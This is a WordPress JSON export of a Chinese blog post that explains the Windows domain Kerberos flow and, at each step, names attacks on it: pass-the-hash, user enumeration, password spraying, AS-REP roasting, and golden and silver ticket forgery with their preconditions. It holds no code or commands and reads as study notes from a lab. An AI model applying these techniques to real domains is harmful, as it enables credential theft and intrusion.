{"id":2284,"date":"2023-09-02T00:40:38","date_gmt":"2023-09-01T16:40:38","guid":{"rendered":"https:\/\/fushuling.com\/?p=2284"},"modified":"2023-10-15T00:00:33","modified_gmt":"2023-10-14T16:00:33","slug":"windows%e5%9f%9f%e6%b8%97%e9%80%8f%e4%b9%8bkerberos%e5%8d%8f%e8%ae%ae","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/09\/02\/windows%e5%9f%9f%e6%b8%97%e9%80%8f%e4%b9%8bkerberos%e5%8d%8f%e8%ae%ae\/","title":{"rendered":"windows\u57df\u6e17\u900f\u4e4bKerberos\u534f\u8bae"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p>\u7406\u8bba\u4e0a\u6765\u8bf4\uff0cKerberos\u534f\u8bae\u5728\u5927\u5b66\u5bc6\u7801\u5b66\u8fd9\u95e8\u8bfe\u91cc\u5df2\u7ecf\u5b66\u7684\u5dee\u4e0d\u591a\u4e86\uff0c\u4f46\u6211\u4f5c\u4e3a\u4fe1\u5b89\u79d1\u73ed\u751f\u5bc6\u7801\u5b66\u7684\u8bfe\u5168\u662f\u6c34\u8fc7\u53bb\u7684\uff0c\u6700\u8fd1\u6253\u4e86\u4e0b\u5185\u7f51\u6e17\u900f\u7684\u9776\u573a\uff0c\u53d1\u73b0Kerberos\u534f\u8bae\u5728\u5185\u7f51\u6e17\u900f\u4e2d\u786e\u5b9e\u53d1\u6325\u4e86\u6781\u5927\u7684\u4f5c\u7528\uff0c\u56e0\u6b64\u8fd9\u91cc\u4e13\u95e8\u5f00\u4e2a\u6587\u7ae0\u8bb2\u8bb2Kerberos\u534f\u8bae\u4ee5\u53ca\u5b83\u7684\u5229\u7528\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u6982\u5ff5<\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Kerberos \u662f\u4e00\u79cd\u7f51\u7edc\u8ba4\u8bc1\u534f\u8bae\uff0c\u5176\u8bbe\u8ba1\u76ee\u6807\u662f\u901a\u8fc7\u5bc6\u94a5\u7cfb\u7edf\u4e3a\u5ba2\u6237\u673a \/ \u670d\u52a1\u5668\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u5f3a\u5927\u7684\u8ba4\u8bc1\u670d\u52a1\u3002\u8be5\u8ba4\u8bc1\u8fc7\u7a0b\u7684\u5b9e\u73b0\u4e0d\u4f9d\u8d56\u4e8e\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edf\u7684\u8ba4\u8bc1\uff0c\u65e0\u9700\u57fa\u4e8e\u4e3b\u673a\u5730\u5740\u7684\u4fe1\u4efb\uff0c\u4e0d\u8981\u6c42\u7f51\u7edc\u4e0a\u6240\u6709\u4e3b\u673a\u7684\u7269\u7406\u5b89\u5168\uff0c\u5e76\u5047\u5b9a\u7f51\u7edc\u4e0a\u4f20\u9001\u7684\u6570\u636e\u5305\u53ef\u4ee5\u88ab\u4efb\u610f\u5730\u8bfb\u53d6\u3001\u4fee\u6539\u548c\u63d2\u5165\u6570\u636e\u3002\u5728\u4ee5\u4e0a\u60c5\u51b5\u4e0b\uff0c Kerberos \u4f5c\u4e3a\u4e00\u79cd\u53ef\u4fe1\u4efb\u7684\u7b2c\u4e09\u65b9\u8ba4\u8bc1\u670d\u52a1\uff0c\u662f\u901a\u8fc7\u4f20\u7edf\u7684\u5bc6\u7801\u6280\u672f\uff08\u5982\uff1a\u5171\u4eab\u5bc6\u94a5\uff09\u6267\u884c\u8ba4\u8bc1\u670d\u52a1\u7684\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u501f\u7528\u4e00\u4f4d\u5927\u5e08\u5085\u7684\u8bdd\uff1a&#8221;Kerberos\u534f\u8bae\u8981\u89e3\u51b3\u7684\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u8eab\u4efd\u8ba4\u8bc1\u7684\u95ee\u9898\uff0c\u987e\u540d\u601d\u4e49\uff0c<strong>\u5f53\u4e00\u4e2a\u5ba2\u6237\u673a\u53bb\u8bbf\u95ee\u4e00\u4e2a\u670d\u52a1\u5668\u7684\u67d0\u670d\u52a1\u65f6\uff0c\u670d\u52a1\u5668\u5982\u4f55\u5224\u65ad\u8be5\u5ba2\u6237\u673a\u662f\u5426\u6709\u6743\u9650\u6765\u8bbf\u95ee\u672c\u670d\u52a1\u5668\u4e0a\u7684\u670d\u52a1\uff0c\u540c\u65f6\u4fdd\u8bc1\u5728\u8be5\u8fc7\u7a0b\u4e2d\u7684\u901a\u8baf\u5185\u5bb9\u5373\u4fbf\u88ab\u62e6\u622a\u6216\u8005\u88ab\u7be1\u6539\u4e5f\u4e0d\u5f71\u54cd\u6574\u4e2a\u901a\u8baf\u7684\u5b89\u5168\u6027<\/strong>\u3002&#8221;<\/p>\n\n\n\n<p>kerberos\u534f\u8bae\u4e2d\u4e00\u4e9b\u540d\u8bcd\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Client:\u8bbf\u95ee\u670d\u52a1\u7684\u5ba2\u6237\u673a\n\nServer:\u63d0\u4f9b\u670d\u52a1\u7684\u670d\u52a1\u5668\n\nKDC(Key Distribution Center):\u5bc6\u94a5\u5206\u53d1\u4e2d\u5fc3 \nKDC\u4e2d\u5206\u6210\u4e24\u4e2a\u90e8\u5206:Authentication Service\u548cTicket Granting Service\n(1)Authentication Service(AS):\u8eab\u4efd\u9a8c\u8bc1\u670d\u52a1\u5668\nAS\u7684\u4f5c\u7528\u5c31\u662f\u9a8c\u8bc1Client\u7aef\u7684\u8eab\u4efd\uff0c\u9a8c\u8bc1\u901a\u8fc7\u4e4b\u540e\uff0cAS\u5c31\u4f1a\u7ed9TGT\u7968\u636e(Ticket Granting Ticket)\u7ed9Client\n(2)Ticket Granting Service(TGS):\u7968\u636e\u6388\u4e88\u670d\u52a1\u5668\nTGS\u7684\u4f5c\u7528\u662f\u901a\u8fc7AS\u53d1\u9001\u7ed9Client\u7684TGT\u6362\u53d6\u8bbf\u95eeServer\u7aef\u7684ST(Server Ticket)\u7ed9Client.\n(3)Ticket-granting cookie(TGC):\u5b58\u653e\u7528\u6237\u8eab\u4efd\u8ba4\u8bc1\u51ed\u8bc1\u7684cookie\uff0c\u5728\u6d4f\u89c8\u5668\u548cCAS Server\u95f4\u901a\u8baf\u65f6\u4f7f\u7528\uff0c\u662fCAS Server\u7528\u6765\u660e\u786e\u7528\u6237\u8eab\u4efd\u7684\u51ed\u8bc1\u3002TGT\u5c01\u88c5\u4e86TGC\u503c\u4ee5\u53ca\u6b64Cookie\u503c\u5bf9\u5e94\u7684\u7528\u6237\u4fe1\u606f.\n(4)Ticket-granting ticket(TGT):TGT\u5bf9\u8c61\u7684ID\u5c31\u662fTGC\u7684\u503c\uff0c\u5728\u670d\u52a1\u5668\u7aef\uff0c\u901a\u8fc7TGC\u67e5\u8be2TGT.\n(5)SEerver Ticket(ST):ST\u670d\u52a1\u7968\u636e\uff0c\u7531TGS\u670d\u52a1\u53d1\u5e03.\n\nActive Directory(AD):\u6d3b\u52a8\u76ee\u5f55\uff0c\u5145\u5f53\u96c6\u4e2d\u5b58\u50a8\u5e93\u5e76\u5b58\u50a8\u4e0eActive Directory \u7528\u6237\u3001\u8ba1\u7b97\u673a\u3001\u670d\u52a1\u5668\u548c\u7ec4\u7ec7\u5185\u7684\u5176\u4ed6\u8d44\u6e90\u7b49\u5bf9\u8c61\u76f8\u5173\u7684\u6240\u6709\u6570\u636e\n\nDomain Controller(DC):\u57df\u63a7\u5236\u5668<\/code><\/pre>\n\n\n\n<p>Kerberos\u8ba4\u8bc1\u534f\u8bae\u662f\u57fa\u4e8e\u7968\u636e\u7684\u4e00\u79cd\u8ba4\u8bc1\u65b9\u5f0f\u3002\u5728\u57df\u73af\u5883\u4e2d\uff0cKDC\u670d\u52a1\u90e8\u7f72\u5728\u63a7\u5236\u5668DC\u4e0a\uff0c\u800cClient\u548cServer\u4e3a\u57df\u5185\u7684\u7528\u6237\u6216\u8005\u662f\u670d\u52a1\uff0c\u800c\u5728Kerberos\u4e2dClient\u662f\u5426\u6709\u6743\u9650\u8bbf\u95eeServer\u7aef\u7684\u670d\u52a1\u7531KDC\u53d1\u653e\u7684\u7968\u636e\u6765\u51b3\u5b9a\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u8fc7\u7a0b<\/h1>\n\n\n\n<p>kerberos\u8ba4\u8bc1\u8fc7\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-1024x700.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"700\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-1024x700.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2285\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">1. AS_Req<\/h2>\n\n\n\n<p>\u5f53\u57df\u5185\u67d0\u4e2a\u7528\u6237\u8bbf\u95ee\u57df\u5185\u67d0\u4e2a\u670d\u52a1\u65f6\uff0c\u4e8e\u662f\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u672c\u673a\u7684kerberos\u670d\u52a1\u4f1a\u5411KDC\u7684AS\u8ba4\u8bc1\u670d\u52a1\u53d1\u9001\u4e00\u4e2aAS-REQ\u8ba4\u8bc1\u8bf7\u6c42\uff0c\u8be5\u8bf7\u6c42\u5305\u4e2d\u5305\u542b\uff1a\u8bf7\u6c42\u7684\u7528\u6237\u540d\u3001\u5ba2\u6237\u7aef\u4e3b\u673a\u540d\u3001\u52a0\u5bc6\u7c7b\u578b\u548cAuthenticator(\u7528\u6237NTLM hash\u52a0\u5bc6\u7684\u65f6\u95f4\u6233)\u4ee5\u53ca\u4e00\u4e9b\u5176\u4ed6\u4fe1\u606f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5229\u7528<\/h3>\n\n\n\n<p>\u8fd9\u4e2a\u7b2c\u4e00\u4e2a\u8fc7\u7a0b\u5c31\u4f1a\u51fa\u73b0\u51e0\u79cd\u5e38\u7528\u7684\u57df\u6e17\u900f\u653b\u51fb\u65b9\u5f0f\uff1a<\/p>\n\n\n\n<p><strong>1.HASH\u4f20\u9012\uff08PTH\uff09<\/strong><\/p>\n\n\n\n<p>\u8fd9\u4e2a\u9636\u6bb5\u6211\u4eec\u4f7f\u7528\u7684\u662f\u7528\u6237NTLM hash\u52a0\u5bc6\u7684\u65f6\u95f4\u6233\u4f5c\u4e3aAuthenticator\uff0c\u6240\u4ee5\u6211\u4eec\u65e0\u9700\u7834\u89e3\u5bc6\u94a5\u660e\u6587\u5c31\u53ef\u4ee5\u901a\u8fc7hash\u4f2a\u9020\u7528\u6237\u8eab\u4efd\u53d1\u8d77\u8bf7\u6c42\uff0c\u8fd9\u4e5f\u662f\u54c8\u5e0c\u4f20\u9012\u653b\u51fb\u51fa\u73b0\u7684\u6839\u672c\u539f\u56e0\u3002<\/p>\n\n\n\n<p><strong>2.\u57df\u5185\u7528\u6237\u679a\u4e3e<\/strong><\/p>\n\n\n\n<p>\u5728as-req\u9636\u6bb5\uff0c\u8bf7\u6c42\u5305cname\u5bf9\u5e94\u7684\u503c\u662f\u7528\u6237\u540d\uff0c\u5f53\u7528\u6237\u72b6\u6001\u4e0d\u540c\u65f6\uff0c\u6bd4\u5982\u7528\u6237\u5b58\u5728\u4e14\u542f\u7528\u3001\u7528\u6237\u5b58\u5728\u4f46\u7981\u7528\u3001\u7528\u6237\u4e0d\u5b58\u5728\uff0c\u4e0d\u540c\u7684\u72b6\u6001\u8fd4\u56de\u5305\u7684\u63d0\u793a\u90fd\u662f\u4e0d\u540c\u7684\uff0c\u56e0\u6b64\u53ef\u4ee5\u8fdb\u884c\u679a\u4e3e\u3002<\/p>\n\n\n\n<p><strong>3.\u5bc6\u7801\u55b7\u6d12<\/strong><\/p>\n\n\n\n<p>\u5f53\u7528\u6237\u540d\u5b58\u5728\uff0c\u5bc6\u7801\u6b63\u786e\u6216\u8005\u9519\u8bef\u7684\u65f6\u5019\uff0c\u8fd4\u56de\u5305\u4e5f\u4e0d\u4e00\u6837\uff0c\u56e0\u6b64\u53ef\u4ee5\u8fdb\u884c\u7528\u6237\u540d\u5bc6\u7801\u7206\u7834\u3002\u5728\u5185\u7f51\u91cc\u57df\u7ba1\u7406\u8005\u4e3a\u4e86\u65b9\u4fbf\u53ef\u80fd\u4f1a\u7528\u76f8\u540c\u7684\u5bc6\u7801\u5bf9\u670d\u52a1\u5668\u8fdb\u884c\u914d\u7f6e\uff0c\u56e0\u6b64\u62ff\u5230\u4e00\u4e2a\u6709\u6548\u5bc6\u7801\u53ef\u4ee5\u5728\u5185\u7f51\u91cc\u55b7\u6d12\u8bd5\u8bd5\uff0c\u8bf4\u4e0d\u5b9a\u5c31\u80fd\u62ff\u4e0b\u597d\u51e0\u53f0\u5185\u7f51\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n<p><strong>4.AS-REP Roasting<\/strong><\/p>\n\n\n\n<p>\u8fd9\u4e2a\u4e4b\u524d\u6253\u9776\u573a\u63d0\u5230\u8fc7\uff0c\u5f53\u5173\u95ed\u4e86\u9884\u8eab\u4efd\u9a8c\u8bc1\u540e\uff08\u8be5\u5c5e\u6027\u9ed8\u8ba4\u662f\u6ca1\u5173\u7684\uff09\uff0c\u6b64\u65f6\u5411\u57df\u63a7\u5236\u5668\u768488\u7aef\u53e3\u53d1\u9001AS_REQ\u8bf7\u6c42\uff0c\u6b64\u65f6\u57df\u63a7\u4e0d\u4f1a\u8fdb\u884c\u4efb\u4f55\u9a8c\u8bc1\u5c31\u5c06TGT\u548c\u8be5\u7528\u6237Hash\u52a0\u5bc6\u7684Login Session Key \u8fd4\u56de\uff0c\u6211\u4eec\u5728\u672c\u5730\u5c31\u53ef\u4ee5\u5bf9\u83b7\u53d6\u5230\u7684\u7528\u6237Hash\u52a0\u5bc6\u7684Session-Key\u8fdb\u884c\u79bb\u7ebf\u7834\u89e3\uff0c\u751a\u81f3\u83b7\u5f97\u8be5\u7528\u6237\u7684\u660e\u6587\u53e3\u4ee4<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">2.AS_Rep<\/h2>\n\n\n\n<p>KDC\u63a5\u53d7\u5230\u8bf7\u6c42\u540e\uff0c\u4f1a\u5148\u901a\u8fc7AD\u6d3b\u52a8\u76ee\u5f55\u67e5\u8be2\u8be5\u7528\u6237\u7684\u5bc6\u7801Hash\uff0c\u7136\u540eAS\u4f1a\u4f7f\u7528Client_hash\u5bf9\u8bf7\u6c42\u5305\u4e2d\u7684Authenticator\u8fdb\u884c\u89e3\u5bc6\uff0c\u89e3\u5bc6\u6210\u529f\u4e14\u65f6\u95f4\u6233\u8303\u56f4\u5728\u4e94\u5206\u949f\u5185\u5219\u8fd4\u56de\u7528<strong>krbtgt\u7528\u6237<\/strong>(Windows\u57df\u4e2d\u7684\u9ed8\u8ba4\u7ba1\u7406\u5458\u8d26\u6237\uff0c\u5bc6\u7801\u65e0\u6cd5\u767b\u5f55\u4e14\u968f\u673a\u751f\u6210)hash\u52a0\u5bc6\u7684<strong>TGT\u7968\u636e<\/strong>\uff0cTGT\u91cc\u9762\u5305\u542bPAC\uff0cPAC\u5305\u542bClient\u7684sid\u3001Client\u6240\u5728\u7684\u7ec4\u3002\u9664\u6b64\u4e4b\u5916AS\u4f1a\u751f\u6210\u4e00\u4e2a\u4e34\u65f6\u79d8\u94a5Login session key\uff0c\u5e76\u4f7f\u7528<strong>\u7528\u6237<\/strong>(\u4e4b\u524d\u53d1\u8bf7\u6c42\u90a3\u4e2a\u7528\u6237)NTLM-Hash\u52a0\u5bc6Login session key\u4f5c\u4e3a\u54cd\u5e94\u5305\u7684\u4e00\u90e8\u5206\u5185\u5bb9\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5229\u7528<\/h3>\n\n\n\n<p><strong>\u9ec4\u91d1\u7968\u636e<\/strong><\/p>\n\n\n\n<p>\u8fd9\u91cc\u6709\u5185\u7f51\u91cc\u7edd\u5bf9\u7ed5\u4e0d\u5f00\u7684\u9ec4\u91d1\u3001\u767d\u94f6\u7968\u636e\u4e2d\u7684\u9ec4\u91d1\u7968\u636e\uff0c\u8fd9\u4e2a\u4e1c\u897f\u662f\u4ec0\u4e48\u5462\uff0c\u8bd5\u60f3\u4e00\u4e0b\uff0c\u5982\u679c\u6211\u4eec\u62e5\u6709\u4e86krbtgt\u7528\u6237\u7684hash\uff0c\u90a3\u6211\u4eec\u5c31\u53ef\u4ee5\u7ed9\u6211\u4eec\u81ea\u5df1<strong>\u7b7e\u53d1\u4efb\u610f\u7528\u6237\u7684TGT\u7968\u636e<\/strong>\uff0c\u8df3\u8fc7AS\u9a8c\u8bc1\uff0c\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.\u57df\u540d\u79f0<br>2.\u57df\u7684SID \u503c<br>3.\u57df\u7684KRBTGT\u8d26\u6237NTLM\u5bc6\u7801\u54c8\u5e0c<br>4.\u4f2a\u9020\u7528\u6237\u540d<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">3.TGS-Req<\/h2>\n\n\n\n<p>\u8fd9\u4e2a\u9636\u6bb5\u91cc\u6211\u4eec\u5ba2\u6237\u7aef\u83b7\u5f97\u4e86TGT\u548cLogin session key\u3002\u7136\u540e\u7528\u81ea\u5df1\u7684\u5bc6\u7801NTLM hash\u89e3\u5bc6\u540e\u53ef\u4ee5\u83b7\u5f97\u539f\u59cb\u7684Login Session Key\uff0c\u7136\u540e\u4f1a\u5728\u672c\u5730\u7f13\u5b58\u6b64TGT\u548c\u539f\u59cb\u7684Login session key\u3002\u5982\u679c\u73b0\u5728\u8981\u8bbf\u95ee\u67d0\u4e2a\u670d\u52a1\uff0c\u5c31\u53ef\u4ee5\u51ed\u501fTGT\u7968\u636e\u5411TGS\u53d1\u8d77\u9488\u5bf9\u7279\u5b9a\u670d\u52a1\u7684TGS_REQ\u8bf7\u6c42(\u5fae\u8f6f\u5f15\u5165\u4e86\u4e24\u4e2a\u6269\u5c55\u81ea\u534f\u8baeS4u2self\u548cS4u2Proxy\uff0c\u4f46\u5728\u59d4\u6d3e\u7684\u65f6\u5019\u624d\u7528\u5f97\u5230\uff0c\u540e\u9762\u518d\u63d0)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">4.TGS_Rep<\/h2>\n\n\n\n<p>\u6536\u5230tgs-req\u540e\uff0cTGS\u4f1a\u9996\u5148\u68c0\u67e5\u81ea\u8eab\u662f\u5426\u5b58\u5728\u5ba2\u6237\u7aef\u6240\u8bf7\u6c42\u7684\u670d\u52a1\uff0c\u5982\u679c\u5b58\u5728\u5219\u4f1a\u4f7f\u7528krbtgt\u7528\u6237\u7684NTLM Hash\u89e3\u5bc6TGT\u5e76\u5f97\u5230Login session key\uff0c\u7136\u540e\u7528Login session key\u89e3\u5bc6\u89e3\u5bc6Authenticator\uff0c\u5982\u679c\u89e3\u5bc6\u6210\u529f\uff0c\u4e14\u9a8c\u8bc1\u65f6\u95f4\u6233\u5728\u8303\u56f4\u5185\u3002TGT\u65f6\u95f4\u6233\u672a\u8fc7\u671f\uff0c\u539f\u59cb\u5730\u5740\u4e0eTGT\u4e2d\u4fdd\u5b58\u7684\u5730\u5740\u76f8\u540c\uff0c\u5219\u6210\u529f\u9a8c\u8bc1\u4e86\u5bf9\u65b9\u7684\u8eab\u4efd\uff0c\u7136\u540e\u4f1a\u751f\u6210\u4e00\u4e2a\u7528Login session key\u52a0\u5bc6\u540e\u7684\u7528\u4e8e\u786e\u4fdd\u5ba2\u6237\u7aef\u670d\u52a1\u5668\u4e4b\u95f4\u901a\u8baf\u5b89\u5168\u7684server-session -key\uff0c\u5e76\u4e14\u751f\u6210\u7528Server_Hash\u52a0\u5bc6\u7684TGS\u7968\u636e\u3002(\u8fd9\u4e00\u6b65\u4e0d\u7ba1\u7528\u6237\u6709\u6ca1\u6709\u8bbf\u95ee\u670d\u52a1\u7684\u6743\u9650\uff0c\u53ea\u8981TGT\u6b63\u786e\uff0c\u5c31\u8fd4\u56deTGS\u7968\u636e)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5229\u7528<\/h3>\n\n\n\n<p><strong>\u767d\u94f6\u7968\u636e<\/strong><\/p>\n\n\n\n<p>\u5728TGS_REP\u4e2dticket\u91cc\u7684encpart\u662f\u4f7f\u7528<strong>\u670d\u52a1\u7684hash<\/strong>\u8fdb\u884c\u52a0\u5bc6\u7684\uff0c\u5982\u679c\u6211\u4eec\u62e5\u6709\u670d\u52a1\u7684hash\uff0c\u5c31\u53ef\u4ee5\u7ed9\u6211\u4eec\u81ea\u5df1\u7b7e\u53d1\u4efb\u610f\u7528\u6237\u7684TGS\u7968\u636e\uff0c\u8fd9\u4e2a\u7968\u636e\u4e5f\u88ab\u79f0\u4e3a\u767d\u94f6\u7968\u636e\uff0c\u4e0e\u9ec4\u91d1\u7968\u636e\u76f8\u6bd4\uff0c\u767d\u94f6\u7968\u636e\u53ea\u80fd\u8bbf\u95ee\u7279\u5b9a\u8bbf\u95ee\uff0c\u5e76\u4e14\u4f2a\u9020\u7684\u767d\u94f6\u7968\u636e\u6ca1\u6709\u5e26\u6709\u6709\u6548KDC\u7b7e\u540d\u7684PAC\u3002\u5982\u679c\u5c06\u76ee\u6807\u4e3b\u673a\u914d\u7f6e\u4e3a\u9a8c\u8bc1KDC PAC\u7b7e\u540d\uff0c\u5219\u94f6\u7968\u5c06\u4e0d\u8d77\u4f5c\u7528\u3002\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.\u57df\u540d\n2.\u57dfsid\n3.\u76ee\u6807\u670d\u52a1FQDN\n4.\u670d\u52a1\u540d\n5.\u670d\u52a1\u8d26\u53f7\u7684NTML HASH\n6.\u4f2a\u9020\u7684\u7528\u6237\u540d<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">5.AP_Req<\/h2>\n\n\n\n<p>\u524d\u56db\u4e2a\u8fc7\u7a0b\u672c\u8d28\u4e0a\u662f\u5bf9\u7528\u6237\u8eab\u4efd\u7684\u9a8c\u8bc1\uff0c\u9a8c\u8bc1\u7ed3\u675fClient\u548cKDC\u7684\u901a\u4fe1\u5c31\u7ed3\u675f\u4e86\uff0c\u540e\u9762\u662f\u548cServer\u8fdb\u884c\u901a\u4fe1\uff0c\u6536\u5230TGS_REP\u540e\u7528\u6237\u83b7\u5f97\u4e86TGS\u7968\u636e\uff0c\u60f3\u8981\u8bbf\u95ee\u67d0\u4e2a\u670d\u52a1\uff0c\u5219\u9700\u8981\u62ff\u7740TGS\u7968\u636e\u53bb\u8bf7\u6c42\u670d\u52a1\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">6.AP_Rep<\/h2>\n\n\n\n<p>\u670d\u52a1\u4f7f\u7528\u81ea\u5df1\u7684Server_Hash\u89e3\u5bc6TGS\u7968\u636e\u3002\u5982\u679c\u89e3\u5bc6\u6b63\u786e\uff0c\u5c31\u62ff\u7740PAC\u53bbKDC\u90a3\u8fb9\u95eeClient\u6709\u6ca1\u6709\u8bbf\u95ee\u6743\u9650\uff0c\u57df\u63a7\u89e3\u5bc6PAC\u3002\u83b7\u53d6Client\u7684sid\uff0c\u4ee5\u53ca\u6240\u5728\u7684\u7ec4\uff0c\u518d\u6839\u636e\u8be5\u670d\u52a1\u7684ACL\uff0c\u5224\u65adClient\u662f\u5426\u6709\u8bbf\u95ee\u670d\u52a1\u7684\u6743\u9650\uff0c\u81f3\u6b64kerberos\u8ba4\u8bc1\u8fc7\u7a0b\u4fbf\u5b8c\u6210\u4e86<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">PAC<\/h1>\n\n\n\n<p>\u539f\u59cb\u7684kerberos\u8ba4\u8bc1\u8fc7\u7a0b\u6709\u4e00\u4e2a\u5f88\u5927\u7684\u95ee\u9898\uff0c\u90a3\u5c31\u662fTGS_Rep\u8fd9\u4e00\u6b65\uff0c\u65e0\u8bba\u7528\u6237\u662f\u5426\u62e5\u6709\u5bf9\u5e94\u670d\u52a1\u7684\u8bbf\u95ee\u6743\u9650\uff0c\u53ea\u8981\u9a8c\u8bc1\u7528\u6237\u8eab\u4efd\u901a\u8fc7\u90fd\u4f1a\u8fd4\u56deTGS\u7968\u636e\uff0c\u8fd9\u5bfc\u81f4\u540e\u7eed\u8fc7\u7a0b\u91cc\u7528\u6237\u53ef\u4ee5\u76f4\u63a5\u62ff\u7740TGS\u7968\u636e\u8bbf\u95ee\u4efb\u4f55\u670d\u52a1\u4e86\uff0c\u56e0\u6b64\u8fd9\u4e2a\u8ba4\u8bc1\u53ea\u89e3\u51b3\u4e86\u8eab\u4efd\u9a8c\u8bc1\u7684\u95ee\u9898\uff0c\u6ca1\u6709\u89e3\u51b3\u6743\u9650\u9a8c\u8bc1\u7684\u95ee\u9898\u3002<\/p>\n\n\n\n<p>\u4e3a\u6b64\u5fae\u8f6f\u5f15\u5165\u4e86PAC\uff0c\u5728AS_Req\u8fd9\u4e2a\u8fc7\u7a0b\u91cc\uff0c\u7528\u6237\u9a8c\u8bc1\u6210\u529f\u8fd4\u56dekrbtgt hash\u52a0\u5bc6\u7684TGT\u7968\u636e\uff0cTGT\u91cc\u9762\u5305\u542bPAC\uff0c\u800cPAC\u4e2d\u5305\u542b\u7528\u6237\u7684sid\uff0c\u7528\u6237\u6240\u5728\u7684\u7ec4\u3002\u5728\u540e\u7eedTGS_Req\u7684\u8fc7\u7a0b\u91cc\uff0cKDC\u4f1a\u9a8c\u8bc1TGT\u4e2d\u7684PAC\u7684\u7b7e\u540d\uff0c\u5224\u65adPAC\u662f\u5426\u88ab\u7be1\u6539\uff0c\u5982\u679cPAC\u5b8c\u597d\uff0c\u5219\u91cd\u65b0\u6784\u9020\u65b0\u7684PAC\u653e\u5728TGS\u7968\u636e\u4e2d\uff0c\u5230\u6700\u540e\u4e00\u6b65AP_Rep\u8fd9\u91cc\uff0c\u670d\u52a1\u4f1a\u62ff\u7740PAC\u53bbKDC\u90a3\u8fb9\u8be2\u95ee\u7528\u6237\u6709\u6ca1\u6709\u8bbf\u95ee\u6743\u9650\uff0cKDC\u89e3\u5bc6PAC\u3002\u83b7\u53d6\u7528\u6237\u7684sid\uff0c\u4ee5\u53ca\u6240\u5728\u7684\u7ec4\uff0c\u518d\u5224\u65ad\u7528\u6237\u662f\u5426\u6709\u8bbf\u95ee\u670d\u52a1\u7684\u6743\u9650\uff0c\u6709\u8bbf\u95ee\u6743\u9650\u5c31\u5141\u8bb8\u7528\u6237\u8bbf\u95ee\u3002<\/p>\n\n\n\n<p>PAC\u5bf9\u4e8e\u7528\u6237\u548c\u670d\u52a1\u5168\u7a0b\u90fd\u662f\u4e0d\u53ef\u89c1\u7684\uff0c\u53ea\u6709KDC\u80fd\u5236\u4f5c\u548c\u67e5\u770bPAC\uff0c\u8fd9\u4e5f\u786e\u4fdd\u4e86PAC\u7684\u5b89\u5168\u6027\u3002\u5f53\u7136\u4ece\u8fd9\u91cc\u6211\u4eec\u5c31\u80fd\u770b\u51fa\u6765\u4e3a\u4ec0\u4e48\u767d\u94f6\u7968\u636e\u662f\u6709\u5c40\u9650\u6027\u7684\u4e86\uff0c\u4e0a\u9762\u6211\u4eec\u63d0\u5230\u8fc7\u4f2a\u9020\u7684\u767d\u94f6\u7968\u636e\u6ca1\u6709\u5e26\u6709\u6709\u6548KDC\u7b7e\u540d\u7684PAC\uff0c\u5982\u679c\u5c06\u76ee\u6807\u4e3b\u673a\u914d\u7f6e\u4e3a\u9a8c\u8bc1KDC PAC\u7b7e\u540d\uff0c\u5219\u94f6\u7968\u5c06\u4e0d\u8d77\u4f5c\u7528\uff0c\u56e0\u4e3a\u5373\u4f7f\u6211\u4eec\u62e5\u6709Server_Hash\u4e5f\u6ca1\u6cd5\u4f2a\u9020\u6709\u6548KDC\u7b7e\u540d\u7684PAC\uff0c\u6bd5\u7adfPAC\u7684\u6574\u4e2a\u8fc7\u7a0b\u65e0\u8bba\u5bf9\u4e8e\u7528\u6237\u8fd8\u662f\u670d\u52a1\u90fd\u662f\u4e0d\u53ef\u89c1\uff0c\u53ea\u6709KDC\u90a3\u91cc\u624d\u80fd\u7b7e\u53d1\u3002<\/p>\n\n\n\n<h2 